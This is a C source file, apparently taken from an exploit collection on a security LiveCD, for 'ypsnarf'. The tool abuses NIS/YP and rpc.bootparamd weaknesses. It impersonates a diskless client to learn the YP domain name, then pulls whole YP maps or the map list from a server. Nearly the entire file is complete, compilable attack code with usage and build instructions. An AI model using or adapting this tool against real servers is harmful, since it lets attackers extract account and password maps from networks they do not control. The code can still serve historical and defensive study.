home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / ypsnarf.c < prev   
C/C++ Source or Header  |  2005-02-12  |  11KB  |  416 lines

  1. /*
  2.  * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN
  3.  * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE
  4.  * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM.  PLEASE DO NOT
  5.  * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY.
  6.  *
  7.  * ypsnarf - exercise security holes in yp/nis.
  8.  *
  9.  * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
  10.  * (casper@fwi.uva.nl).
  11.  *
  12.  * Usage:
  13.  *        ypsnarf server client
  14.  *            - to obtain the yp domain name
  15.  *        ypsnarf server domain mapname
  16.  *            - to obtain a copy of a yp map
  17.  *        ypsnarf server domain maplist
  18.  *            - to obtain a list of yp maps
  19.  *
  20.  * In the first case, we lie and pretend to be the host "client", and send
  21.  * a BOOTPARAMPROC_WHOAMI request to the host "server".  Note that for this
  22.  * to work, "server" must be running rpc.bootparamd, and "client" must be a
  23.  * diskless client of (well, it must boot from) "server".
  24.  *
  25.  * In the second case, we send a YPPROC_DOMAIN request to the host "server",
  26.  * asking if it serves domain "domain".  If so, we send YPPROC_FIRST and
  27.  * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
  28.  * "mapname".  Note that you must specify the full yp map name, you cannot
  29.  * use the shorthand names provided by "ypcat".
  30.  *
  31.  * In the third case, the special map name "maplist" tells ypsnarf to send
  32.  * a YPPROC_MAPLIST request to the server and get the list of maps in domain
  33.  * "domain", instead of getting the contents of a map.  If the server has a
  34.  * map called "maplist" you can't get it.  Oh well.
  35.  *
  36.  * Since the callrpc() routine does not make any provision for timeouts, we
  37.  * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
  38.  * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
  39.  *
  40.  * This program uses UDP packets, which means there's a chance that things
  41.  * will get dropped on the floor; it's not a reliable stream like TCP.  In
  42.  * practice though, this doesn't seem to be a problem.
  43.  *
  44.  * To compile:
  45.  *        cc -o ypsnarf ypsnarf.c -lrpcsvc
  46.  *
  47.  */
  48. #include <sys/param.h>
  49. #include <sys/socket.h>
  50. #include <netinet/in.h>
  51. #include <arpa/inet.h>
  52. #include <rpc/rpc.h>
  53. #include <rpcsvc/bootparam.h>
  54. #include <rpcsvc/yp_prot.h>
  55. #include <rpc/pmap_clnt.h>
  56. #include <sys/time.h>
  57. #include <signal.h>
  58. #include <string.h>
  59. #include <netdb.h>
  60. #include <stdio.h>
  61.  
  62. #define BOOTPARAM_MAXDOMAINLEN    32    /* from rpc.bootparamd        */
  63. #define YPSNARF_TIMEOUT1    15    /* timeout for initial request    */
  64. #define YPSNARF_TIMEOUT2    30    /* timeout during map transfer    */
  65.  
  66. char    *pname;                /* program name            */
  67.  
  68. main(argc, argv)
  69. char **argv;
  70. int argc;
  71. {
  72.   char *server, *client, *domain, *mapname;
  73.  
  74.   pname = *argv;
  75.  
  76.   /*
  77.    * Process arguments.  This is less than robust, but then
  78.    * hey, you're supposed to know what you're doing.
  79.    */
  80.   switch (argc)
  81.     {
  82.     case 3:
  83.       server = *++argv;
  84.       client = *++argv;
  85.  
  86.       get_yp_domain(server, client);
  87.       exit(0);
  88.     case 4:
  89.       server = *++argv;
  90.       domain = *++argv;
  91.       mapname = *++argv;
  92.  
  93.       if (strcmp(mapname, "maplist") == 0)
  94.         get_yp_maplist(server, domain);
  95.       else
  96.         get_yp_map(server, domain, mapname);
  97.       exit(0);
  98.     default:
  99.       fprintf(stderr, "Usage: %s server client         -", pname);
  100.       fprintf(stderr, "to obtain yp domain name\n");
  101.       fprintf(stderr, "       %s server domain mapname -", pname);
  102.       fprintf(stderr, "to obtain contents of yp map\n");
  103.       exit(1);
  104.     }
  105. }
  106.  
  107. /*
  108.  * get_yp_domain - figure out the yp domain used between server and client.
  109.  */
  110. get_yp_domain(server, client)
  111. char *server, *client;
  112. {
  113.   long hostip;
  114.   struct hostent *hp;
  115.   bp_whoami_arg w_arg;
  116.   bp_whoami_res w_res;
  117.   extern void timeout();
  118.   enum clnt_stat errcode;
  119.  
  120.   /*
  121.    * Just a sanity check, here.
  122.    */
  123.   if ((hp = gethostbyname(server)) == NULL)
  124.     {
  125.       fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
  126.       exit(1);
  127.     }
  128.  
  129.   /*
  130.    * Allow the client to be either an internet address or a
  131.    * host name.  Copy in the internet address.
  132.    */
  133.   if ((hostip = inet_addr(client)) == -1)
  134.     {
  135.       if ((hp = gethostbyname(client)) == NULL)
  136.         {
  137.           fprintf(stderr, "%s: %s: unknown host.\n", pname,
  138.                   client);
  139.           exit(1);
  140.         }
  141.  
  142.       bcopy(hp->h_addr_list[0],
  143.             (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  144.             hp->h_length);
  145.     }
  146.   else
  147.     {
  148.       bcopy((caddr_t) &hostip,
  149.             (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  150.             sizeof(ip_addr_t));
  151.     }
  152.  
  153.   w_arg.client_address.address_type = IP_ADDR_TYPE;
  154.   bzero((caddr_t) &w_res, sizeof(bp_whoami_res));
  155.  
  156.   /*
  157.    * Send a BOOTPARAMPROC_WHOAMI request to the server.  This will
  158.    * give us the yp domain in the response, IFF client boots from
  159.    * the server.
  160.    */
  161.   signal(SIGALRM, timeout);
  162.   alarm(YPSNARF_TIMEOUT1);
  163.  
  164.   errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
  165.                     BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
  166.                     xdr_bp_whoami_res, &w_res);
  167.  
  168.   alarm(0);
  169.  
  170.   if (errcode != RPC_SUCCESS)
  171.     print_rpc_err(errcode);
  172.  
  173.   /*
  174.    * Print the domain name.
  175.    */
  176.   printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);
  177.  
  178.   /*
  179.    * The maximum domain name length is 255 characters, but the
  180.    * rpc.bootparamd program truncates anything over 32 chars.
  181.    */
  182.   if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
  183.     printf(" (truncated?)");
  184.  
  185.   /*
  186.    * Put out the client name, if they didn't know it.
  187.    */
  188.   if (hostip != -1)
  189.     printf(" (client name = %s)", w_res.client_name);
  190.  
  191.   putchar('\n');
  192. }
  193.  
  194. /*
  195.  * get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
  196.  */
  197. get_yp_map(server, domain, mapname)
  198. char *server, *domain, *mapname;
  199. {
  200.   char *reqp;
  201.   bool_t yesno;
  202.   u_long calltype;
  203.   bool (*xdr_proc)();
  204.   extern void timeout();
  205.   enum clnt_stat errcode;
  206.   struct ypreq_key keyreq;
  207.   struct ypreq_nokey nokeyreq;
  208.   struct ypresp_key_val answer;
  209.  
  210.   /*
  211.    * This code isn't needed; the next call will give the same
  212.    * error message if there's no yp server there.
  213.    */
  214. #ifdef not_necessary
  215.   /*
  216.    * "Ping" the yp server and see if it's there.
  217.    */
  218.   signal(SIGALRM, timeout);
  219.   alarm(YPSNARF_TIMEOUT1);
  220.  
  221.   errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  222.                     xdr_void, 0);
  223.  
  224.   alarm(0);
  225.  
  226.   if (errcode != RPC_SUCCESS)
  227.     print_rpc_err(errcode);
  228. #endif
  229.  
  230.   /*
  231.    * Figure out whether server serves the yp domain we want.
  232.    */
  233.   signal(SIGALRM, timeout);
  234.   alarm(YPSNARF_TIMEOUT1);
  235.  
  236.   errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  237.                     xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  238.                     (caddr_t) &yesno);
  239.  
  240.   alarm(0);
  241.  
  242.   if (errcode != RPC_SUCCESS)
  243.     print_rpc_err(errcode);
  244.  
  245.   /*
  246.    * Nope...
  247.    */
  248.   if (yesno == FALSE)
  249.     {
  250.       fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  251.               server, domain);
  252.       exit(1);
  253.     }
  254.  
  255.   /*
  256.    * Now we just read entry after entry...  The first entry we
  257.    * get with a nokey request.
  258.    */
  259.   keyreq.domain = nokeyreq.domain = domain;
  260.   keyreq.map = nokeyreq.map = mapname;
  261.   reqp = (caddr_t) &nokeyreq;
  262.   keyreq.keydat.dptr = NULL;
  263.  
  264.   answer.status = TRUE;
  265.   calltype = YPPROC_FIRST;
  266.   xdr_proc = xdr_ypreq_nokey;
  267.  
  268.   while (answer.status == TRUE)
  269.     {
  270.       bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));
  271.  
  272.       signal(SIGALRM, timeout);
  273.       alarm(YPSNARF_TIMEOUT2);
  274.  
  275.       errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
  276.                         reqp, xdr_ypresp_key_val, &answer);
  277.  
  278.       alarm(0);
  279.  
  280.       if (errcode != RPC_SUCCESS)
  281.         print_rpc_err(errcode);
  282.  
  283.       /*
  284.        * Got something; print it.
  285.  [2000]*/
  286.       if (answer.status == TRUE)
  287.         {
  288.           printf("%.*s\n", answer.valdat.dsize,
  289.                  answer.valdat.dptr);
  290.         }
  291.  
  292.       /*
  293.        * Now we're requesting the next item, so have to
  294.        * send back the current key.
  295.  [2000]*/
  296.       calltype = YPPROC_NEXT;
  297.       reqp = (caddr_t) &keyreq;
  298.       xdr_proc = xdr_ypreq_key;
  299.  
  300.       if (keyreq.keydat.dptr)
  301.         free(keyreq.keydat.dptr);
  302.  
  303.       keyreq.keydat = answer.keydat;
  304.  
  305.       if (answer.valdat.dptr)
  306.         free(answer.valdat.dptr);
  307.     }
  308. }
  309.  
  310. /*
  311.  * get_yp_maplist - get the yp map list for  yp domain "domain" from server.
  312.  */
  313. get_yp_maplist(server, domain)
  314. char *server, *domain;
  315. {
  316.   bool_t yesno;
  317.   extern void timeout();
  318.   struct ypmaplist *mpl;
  319.   enum clnt_stat errcode;
  320.   struct ypresp_maplist maplist;
  321.  
  322.   /*
  323.    * This code isn't needed; the next call will give the same
  324.    * error message if there's no yp server there.
  325.    */
  326. #ifdef not_necessary
  327.   /*
  328.    * "Ping" the yp server and see if it's there.
  329.    */
  330.   signal(SIGALRM, timeout);
  331.   alarm(YPSNARF_TIMEOUT1);
  332.  
  333.   errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  334.                     xdr_void, 0);
  335.  
  336.   alarm(0);
  337.  
  338.   if (errcode != RPC_SUCCESS)
  339.     print_rpc_err(errcode);
  340. #endif
  341.  
  342.   /*
  343.    * Figure out whether server serves the yp domain we want.
  344.    */
  345.   signal(SIGALRM, timeout);
  346.   alarm(YPSNARF_TIMEOUT1);
  347.  
  348.   errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  349.                     xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  350.                     (caddr_t) &yesno);
  351.  
  352.   alarm(0);
  353.  
  354.   if (errcode != RPC_SUCCESS)
  355.     print_rpc_err(errcode);
  356.  
  357.   /*
  358.    * Nope...
  359.    */
  360.   if (yesno == FALSE)
  361.     {
  362.       fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  363.               server, domain);
  364.       exit(1);
  365.     }
  366.  
  367.   maplist.list = (struct ypmaplist *) NULL;
  368.  
  369.   /*
  370.    * Now ask for the list.
  371.    */
  372.   signal(SIGALRM, timeout);
  373.   alarm(YPSNARF_TIMEOUT1);
  374.  
  375.   errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
  376.                     xdr_wrapstring, (caddr_t) &domain,
  377.                     xdr_ypresp_maplist, &maplist);
  378.  
  379.   alarm(0);
  380.  
  381.   if (errcode != RPC_SUCCESS)
  382.     print_rpc_err(errcode);
  383.  
  384.   if (maplist.status != YP_TRUE)
  385.     {
  386.       fprintf(stderr, "%s: cannot get map list: %s\n", pname,
  387.               yperr_string(ypprot_err(maplist.status)));
  388.       exit(1);
  389.     }
  390.  
  391.   /*
  392.    * Print out the list.
  393.    */
  394.   for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
  395.     printf("%s\n", mpl->ypml_name);
  396. }
  397.  
  398. /*
  399.  * print_rpc_err - print an rpc error and exit.
  400.  */
  401. print_rpc_err(errcode)
  402. enum clnt_stat errcode;
  403. {
  404.   fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
  405.   exit(1);
  406. }
  407.  
  408. /*
  409.  * timeout - print a timeout and exit.
  410.  */
  411. void timeout()
  412. {
  413.   fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
  414.   exit(1);
  415. }
  416. /*                    www.hack.co.za              [2000]*/